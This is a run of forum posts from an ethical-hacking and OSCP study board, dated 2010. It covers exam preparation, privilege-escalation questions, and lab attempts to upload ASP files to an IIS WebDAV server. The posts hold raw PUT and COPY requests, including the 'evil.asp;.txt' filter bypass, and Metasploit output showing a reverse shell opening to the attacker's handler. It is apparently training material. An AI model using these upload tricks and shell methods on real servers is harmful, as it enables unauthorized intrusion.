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601  Ethical Hacking Discussions and Related Certifications / OSCP - Offensive Security Certified Professional / Re: OSCP exam in 1 week - Advice? on: August 20, 2010, 01:44:12 PM
I understand eternal_security!
I should have asked them first anyway...
602  Ethical Hacking Discussions and Related Certifications / OSCP - Offensive Security Certified Professional / Re: OSCP exam in 1 week - Advice? on: August 20, 2010, 01:13:52 PM
Thanks Dutchie

Quote
I will tell you, you are correct that there are some that will be off-limits.

I talk to the guys at Offensive-Security and their answer was: "Metasploit is forbidden on some machines".

So it is good, they want to know if we can do without on some machines and if we know how to use it on others.
603  Ethical Hacking Discussions and Related Certifications / Network Pen Testing / Re: Privilege excalation on: August 20, 2010, 01:11:12 PM
I couldn't ask for better answers! Thanks guys!

I am still new to this field, but you guys gave me a lot of nice things to look for.

So I get your point now. I could also add:

- Configuration files (web applications with the database credentials, etc)
- Maybe browser cookies?!?

 Grin
604  Ethical Hacking Discussions and Related Certifications / OSCP - Offensive Security Certified Professional / Re: Anyone did OSCE (CTP) ? on: August 20, 2010, 08:40:32 AM
Thanks impelse.

I am almost ready now. Just one or two things to read and practice and I relax until the exam.
605  Ethical Hacking Discussions and Related Certifications / Network Pen Testing / Privilege excalation on: August 20, 2010, 08:38:59 AM
Once you have a shell with low privileges on a box, how do you get admin/system/root privileges?

I am looking for some advice on privilege escalation techniques on both Windows and Linux. I know it depends on a lot of factor, like remote or local, type of os, service packs, etc. But I am looking more at how to find the solution.

Also, I know that if you use the Metasploit framework, Core Impact, etc, it gets pretty easy. But I want to do it manually.

I know on Windows, we could use the at command. But what if it doesn't work?

Anyway, I have been on google for a while now and I find it difficult to find good explanations, examples, tutorials or "how to".

The only solution that I know right now is to go on milw0rm, exploit-db.com, etc, find an exploit, compile it and use it. Is there any other "tricks"?

Thanks
606  Ethical Hacking Discussions and Related Certifications / OSCP - Offensive Security Certified Professional / Re: Anyone did OSCE (CTP) ? on: August 20, 2010, 08:02:23 AM
Great review MaXe!

I am challenging OSCP tomorrow morning and IF everything goes well, OSCE would probably be the next one.

Quote
The skills I think that are required to do the course only would be:
- Web Application Security knowledge. (PHP, MySQL and Apache)
-- You should be able to understand how most if not all vulnerabilities within PHP works.
-- Here's a good "article" to read: http://forum.intern0t.net/offensive-guides-information/1382-finding-vulnerabilities-php-sirgod.html
-- Have a good understanding of how the HTTP protocol works.

I am also looking at a very good web app pentest course. Would you consider OSCE to cover web app exploit in depth?

607  Ethical Hacking Discussions and Related Certifications / Security / Re: New SANS course - SEC660 on: August 19, 2010, 03:43:07 PM
Ahhh, if these courses were cheaper...  Cry
608  Ethical Hacking Discussions and Related Certifications / OSCP - Offensive Security Certified Professional / Re: OSCP exam in 1 week - Advice? on: August 19, 2010, 01:54:13 PM
It does help, thanks!  Smiley
609  Ethical Hacking Discussions and Related Certifications / OSCP - Offensive Security Certified Professional / Re: OSCP exam in 1 week - Advice? on: August 19, 2010, 01:25:03 PM
Another question, I know we won't be allow to use some tools during the exam, like Core Impact or Ettercap.

Do you guys know if we will be allow to use Metasploit, since it is part of the course? If we aren't, I will make sure I study some other stuff...
610  Ethical Hacking Discussions and Related Certifications / Web Applications / Re: HTTP header: PUT, DELETE, etc on: August 19, 2010, 01:13:25 PM
It worked!!!

The Metasploit exploit iis_webdav_upload_asp did the trick:

Code:
msf exploit(iis_webdav_upload_asp) > exploit

[*] Started reverse handler on 192.168.1.100:4444
[*] Uploading 612333 bytes to /metasploit161123510.txt...
[*] Got a 100 response, trying to read again
[*] Moving /metasploit161123510.txt to /metasploit161123510.asp...
[*] Executing /metasploit161123510.asp...
[*] Deleting /metasploit161123510.asp, this doesn't always work...
[*] Sending stage (240 bytes) to 192.168.1.199
[*] Command shell session 1 opened (192.168.1.100:4444 -> 192.168.1.199:3409) at Thu Aug 19 14:11:43 -0400 2010

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>     

 Grin
611  Ethical Hacking Discussions and Related Certifications / Web Applications / Re: HTTP header: PUT, DELETE, etc on: August 19, 2010, 01:02:56 PM
Great reading!

Quote
If you try to upload an .asp you'll get a 403 forbidden or if you try to COPY/MOVE a .txt to .asp you'll get a forbidden. :-(

This is exactly my problem. But:

Quote
Thankfully there is a "feature" of 2k3 that allows you to upload evil.asp;.txt and that will bypass the filter.

I was all excited, but the server doesn't seem to be running this version of Windows (nmap -O couldn't pin point the OS...)

I tried:
Code:
COPY /test.txt HTTP/1.1

Host: 192.168.1.199

Destination: http://192.168.1.199/test.asp;.txt

I found other things on the server, so I will poke at them for a while.

Thanks guys
612  Ethical Hacking Discussions and Related Certifications / Web Applications / Re: HTTP header: PUT, DELETE, etc on: August 19, 2010, 10:45:05 AM
Thanks for the article, but it doesn't solve my problem... Sad

I am working on COPY and MOVE right now...
613  Ethical Hacking Discussions and Related Certifications / Web Applications / Re: HTTP header: PUT, DELETE, etc on: August 19, 2010, 10:21:17 AM
I get a 404 Object Not Found when I try to access it.

All the other ones are there. Could it be that, by default, IIS prevent us from creating .asp files remotely?
614  Ethical Hacking Discussions and Related Certifications / Web Applications / Re: HTTP header: PUT, DELETE, etc on: August 19, 2010, 10:02:38 AM
I tried again and this code doesn't work:

Code:
PUT /test.asp HTTP/1.1
Host: 192.168.1.199
Content-Length: 6

Yesss!

These file types work:
  • .txt
  • .html
  • .htm
  • .js
  • .vbs

Maybe I am missing something in the HTTP header...
615  Ethical Hacking Discussions and Related Certifications / Web Applications / Re: HTTP header: PUT, DELETE, etc on: August 19, 2010, 09:43:19 AM
Got some nice ASP code here:
http://classicasp.aspfaq.com/general/how-do-i-execute-a-ping-command-from-asp-and-retrieve-the-results.html

But I can't create .asp files. Only .txt...

Nothing is easy!  Undecided
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